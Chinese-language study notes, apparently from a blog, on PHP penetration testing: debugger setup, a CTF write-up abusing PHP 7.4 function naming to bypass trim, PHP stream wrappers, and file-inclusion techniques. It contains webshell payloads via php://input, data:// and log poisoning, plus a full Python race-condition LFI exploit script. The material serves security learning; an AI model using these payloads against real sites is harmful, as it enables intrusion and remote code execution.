网安渗透学习小结--PHP源码调试方法,文件包含漏洞,PHP伪协议以及ctf题目解答

一.调试方法

1.pwndbg调试

Pwndbg 是一款专为 二进制漏洞挖掘、CTF Pwn 竞赛、逆向分析 打造的 GDB 增强插件,它在原生 GDB 的基础上做了极致的优化和功能扩展。

安装pwddbg(推荐Kali Linux/ubuntu 20.04+),一条命令直接搞定,安装完成后,直接在终端输入 gdb 即可启动带 pwndbg 插件的调试器,无需额外配置!

bash 复制代码
git clone https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh

编译待调试的二进制程序,调试 Pwn 题 / 自己编写的 C 程序时,必须关闭编译器的优化 + 开启调试符号,否则调试时看不到变量、函数名、行号,汇编代码也会被优化得面目全非

bash 复制代码
# 编译32位程序(需先安装32位依赖:sudo apt install gcc-multilib g++-multilib)
gcc -m32 -g -o pwn pwn.c -fno-stack-protector -z execstack -no-pie

# 编译64位程序
gcc -g -o pwn pwn.c -fno-stack-protector -z execstack -no-pie

安装完成后验证

bash 复制代码
$ gdb -q
pwndbg: loaded 183 pwndbg commands and 42 shell commands. Type pwndbg> filter or pwndbg> set-quiet on to reduce startup noise.
pwndbg>

核心启动方式:本地 gdb ./pwn、远程 target remote IP:PORT

高频命令:r/c/n/s/fi(原生) + vmmap/heap/stack/context/got/plt(pwndbg 专属);

调试灵魂:断点 b + 内存查看 vmmap/x + 寄存器 regs

2.vscode直接调试

vscode直接在插件库下载相应的调试插件即可

插件名称:C/C++ (微软官方出品,作者是 Microsoft)

这个插件可以无缝衔接你之前的 pwndbg/gdb,VSCode 图形化调试本质就是「GDB 的可视化前端」

二.题目解答--PHP7.4 函数编译的作用域差异漏洞 + trim 过滤绕过

1.问题:

if语句里的条件sha256加密,根本无法满足!!永远不会执行到readflag()的函数声明代码,所以用name=readflag调用必报错。

2.解答思路:

第一先看看函数编译的「作用域差异」---PHP 编译函数时,会根据函数定义是否在「顶级作用域」(不在任何条件 / 循环 / 函数内),生成不同的函数名存入全局函数表,这是本题能绕过 if 校验的核心。

例子 1:顶级作用域函数

php 复制代码
<?php
// 顶级作用域(不在任何条件/循环内)
function viewsource() { show_source(__FILE__); }
?>

PHP 直接将函数名 viewsource 存入函数表,调用时用 viewsource()$name="viewsource"; $name() 即可正常触发,无额外拼接。

例子 2:非顶级作用域函数(本题的 readflag

php 复制代码
<?php
if (false) { // 条件语句内,非顶级作用域
    function readflag() { echo 'flag'; }
}
?>

即使 if 条件为 false(永远不执行函数声明代码),PHP 在编译阶段仍会处理这个函数:

不会用原函数名 readflag 存表,而是生成一个「特殊函数名」;

特殊函数名格式:\0 + 原函数名 + 文件绝对路径 + : + 函数起始行号 + $ + 计数器(计数 器从 0 开始,每次访问文件自增 1)。

本题文件路径为 /var/www/html/ctf.phpreadflag 定义在第 8 行(对应题干代码行号),则编译后存入函数表的特殊函数名为:\0readflag/var/www/html/ctf.php:8$0\0 是不可见的空字符)

第二:题干中 $name = trim($_REQUEST['name'] ?? 'viewsource');trim 会过滤字符串首尾的「空白字符」,包括 \0(空字符)、空格、换行等。

如何解决??

问题: 我们要调用的特殊函数名以 \0 开头,若直接传 \0readflag/var/www/html/ctf.php:8$0trim 会删掉开头的 \0,变成 readflag/var/www/html/ctf.php:8$0,无法匹配函数表中的名字,调用失败。

绕过依据: PHP 动态调用函数($name())时,若函数名以 \(反斜杠)开头,会自动去掉这个 \ 再去函数表查找(本质是处理根命名空间,比如 \phpinfo()phpinfo() 等价)。

构造最终 payload

\0 会被 trim 过滤,需在前面加 \,同时将 \0 编码为 %00(URL 传参时的标准编码),最终 payload 格式:name=\%00readflag/var/www/html/ctf.php:8$0

一句话总结(结合例子)

无需管 password 校验,利用 PHP7.4 把 if 里的 readflag 编译成 \0readflag/路径:行号$0 的特性,用 \ 抵消 trim\0 的过滤,传构造好的名字就能直接调用隐藏函数拿 flag。

三.PHP伪协议

PHP 伪协议核心配置:

allow_url_fopen = On/Off ------> 是否允许 PHP 打开远程文件 / 使用封装协议 ,针对file_get_contents()fopen()读取类函数生效

allow_url_include = On/Off ------>是否允许 PHP 在文件包含函数 中使用远程文件 / 封装协议,针对includerequireinclude_oncerequire_once生效

disable_functions = xxx ---->禁用指定的 PHP 函数,比如禁用php://input常用的file_put_contents,禁用system等命令执行函数

1.php://filter- 万能读取伪协议

不受allow_url_include影响,仅需要allow_url_fopen=On

完整语法:

bash 复制代码
# 格式1:核心完整版(推荐,必背)
php://filter/read=convert.base64-encode/resource=文件路径
# 格式2:简写版(部分环境支持)
php://filter/convert.base64-encode/resource=文件路径

读取当前目录的 php 源码

php 复制代码
// 题目代码
<?php
$file = $_GET['file'];
include($file);
?>
// 构造payload读取index.php源码
?file=php://filter/read=convert.base64-encode/resource=index.php

返回一串 base64 编码,解码后就是index.php的完整源码,不会被 PHP 解析!

2. php://input - 输入流伪协议

读取 POST 请求体中的所有数据,可以把 POST 的数据当作「文件内容」来处理,相当于「从 POST 传参里读取文件内容」。

语法格式:

php 复制代码
php://input  # 无参数,固定格式

写一句话木马

php 复制代码
// 题目代码
<?php
$file = $_GET['file'];
include($file);  // 文件包含函数
?>
// GET传参:
?file=php://input
// POST传参(请求体里写木马):
<?php eval($_POST['cmd']);?>

执行后,服务器会把 POST 的木马代码当作文件内容包含执行,成功植入一句话木马,之后用蚁剑 / 菜刀连接即可。

3. file:// - 本地文件协议

读取本地文件系统中的文件,是 PHP 默认的本地文件访问协议,相当于「直接访问文件路径」

语法格式

php 复制代码
file://文件绝对路径/文件名

4. data:// - 数据流伪协议

将指定的数据当作文件内容来处理,可以直接在 URL 中嵌入「文件内容」,无需读取本地文件,相当于「凭空创造一个文件」。

语法格式

cpp 复制代码
# 格式1:纯文本格式(直接传内容)
data://text/plain,内容
# 格式2:base64编码格式(推荐,绕过过滤最佳)
data://text/plain;base64,base64编码后的内容

执行一句话木马

php 复制代码
// 题目代码
<?php
$file = $_GET['file'];
include($file);
?>
// 构造payload(base64编码版,推荐)
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=

5.php://output - 输出流伪协议

将数据写入到 PHP 的输出缓冲区,相当于echo/print,一般配合filter使用,比如将文件内容编码后输出

语法:php://filter/write=convert.base64-decode/resource=php://output

6.zip:// & bz2:// & zlib:// - 压缩包伪协议

读取压缩包内的文件 ,无需解压,直接包含压缩包中的 PHP 文件,绕过文件上传的后缀过滤(比如只允许上传 zip 文件)。

语法格式

XML 复制代码
# zip:// 格式(必须是绝对路径,压缩包内文件路径)
zip://压缩包绝对路径%23压缩包内的文件名
# 例子
zip:///var/www/html/shell.zip%23shell.php

四.文件包含漏洞

什么是文件包含漏洞??

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

1.包含日志文件

文件包含日志漏洞 = PHP本地文件包含漏洞(LFI) + Web服务日志文件被写入恶意代码 + 包含日志文件执行恶意代码

我们把PHP 一句话木马 / 恶意代码 ,通过 HTTP 请求写入到服务器的Web 服务日志文件 中,再利用文件包含漏洞,直接include这个日志文件,让日志里的 PHP 代码被执行,最终拿到 shell / 读取 flag。

漏洞成立的3 个必要条件:

存在「本地文件包含漏洞」,Web 服务的「日志文件路径已知 / 可猜」,日志文件「有读取权限」

我们可以在「任意一个请求头 / 请求参数」中,写入我们准备好的 PHP 恶意代码,Web 服务会把这段代码「原封不动」的写入到日志文件中。

举个最简单的例子:我在浏览器访问目标网站时,把请求头User-Agent的值改成 <?php eval($_POST['cmd']);?>,那么服务器的日志里,就会多出一行记录包含这个一句话木马。

日志的【默认绝对路径】

Nginx 日志路径

XML 复制代码
# 主访问日志
/var/log/nginx/access.log
# 错误日志(偶尔用)
/var/log/nginx/error.log

Apache 日志路径

XML 复制代码
# 主访问日志(必背)
/var/log/apache2/access.log
# 错误日志
/var/log/apache2/error.log
# 备用路径(部分Ubuntu/Debian)
/var/log/httpd/access_log

2.包含session

Session包含漏洞 = PHP本地文件包含漏洞(LFI) + PHP的Session文件中被写入恶意PHP代码 + 包含Session文件执行恶意代码

PHP 会把用户的Session 会话数据 ,自动写入服务器的本地 Session 文件 中;我们把PHP 一句话木马 / 恶意代码 ,通过可控参数写入到 Session 数据里,PHP 会自动同步到服务器的 Session 文件;最后利用文件包含漏洞,直接include这个 Session 文件,让里面的 PHP 代码被执行,拿到 shell/flag。

漏洞成立的3 个必要条件

存在「本地文件包含漏洞」,PHP 的 Session 会话中,存在**可控的输入点,**服务器的「Session 文件路径已知 / 可猜」+「文件名可预测」

Session 文件的【默认绝对路径】

XML 复制代码
# 优先级1:
/var/lib/php/sessions/

# 优先级2:第二常用,部分Ubuntu/Debian系统(必背!)
/tmp/

# 优先级3:备用路径,极少数环境
/var/tmp/

Session 文件的【文件名规则】

sess_+你的PHPSESSID的值

举例:

如果你的浏览器 Cookie 中 PHPSESSID=abc123def,那么对应的 Session 文件就是:

/var/lib/php/sessions/sess_abc123def

3.包含临时文件

临时文件包含漏洞 利用的是 PHP 处理 HTTP 请求时的机制缺陷 :当 PHP 处理上传文件的请求时,会先将上传的文件保存到系统的 临时目录 中,生成一个 临时文件 ,文件名由 PHP 随机生成;脚本处理完请求后(比如验证后缀失败),会立即删除这个临时文件。

攻击原理

我们在文件被 删除之前的极短瞬间 ,利用文件包含漏洞,快速包含并执行 这个临时文件中的恶意代码。

题目:PHP7

php 复制代码
index.php

```text
<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>
```

dir.php

```text
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
```

唯一解法:条件竞争

利用 CPU 多核并发,同时发起大量的「上传请求」和「包含请求」,在海量的尝试中,总会有一次请求,包含操作发生在删除操作之前,从而命中!

脚本:

python 复制代码
#!/usr/bin/python
import sys
import threading
import socket
import time


def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%s\r
<?php                                                                   ?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i + 17:i + 44]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn


counter = 0


class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256


def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()


if __name__ == "__main__":
    main()
相关推荐
Lonely 净土2 小时前
渗透学习笔记-前四天
笔记·学习
蓝桉~MLGT2 小时前
中级软考(软件工程师)第四章知识点——操作系统
学习
SenChien2 小时前
Java大模型应用开发day06-天机ai-学习笔记
java·spring boot·笔记·学习·大模型应用开发·springai
Z_W_H_2 小时前
MyBatis-Plus 详细学习文档
学习·mybatis
青衫码上行2 小时前
maven依赖管理和生命周期
java·学习·maven
小六花s2 小时前
渗透测试前四天PHP文件包含笔记
android·学习·渗透测试
秋深枫叶红2 小时前
嵌入式第四十七篇——ARM汇编
汇编·arm开发·学习
rannn_1112 小时前
【Javaweb学习|Day7】事务管理、文件上传
后端·学习·javaweb
好奇龙猫3 小时前
大学院-筆記試験練習:数据库(データベース問題訓練) と 软件工程(ソフトウェア)(12)
学习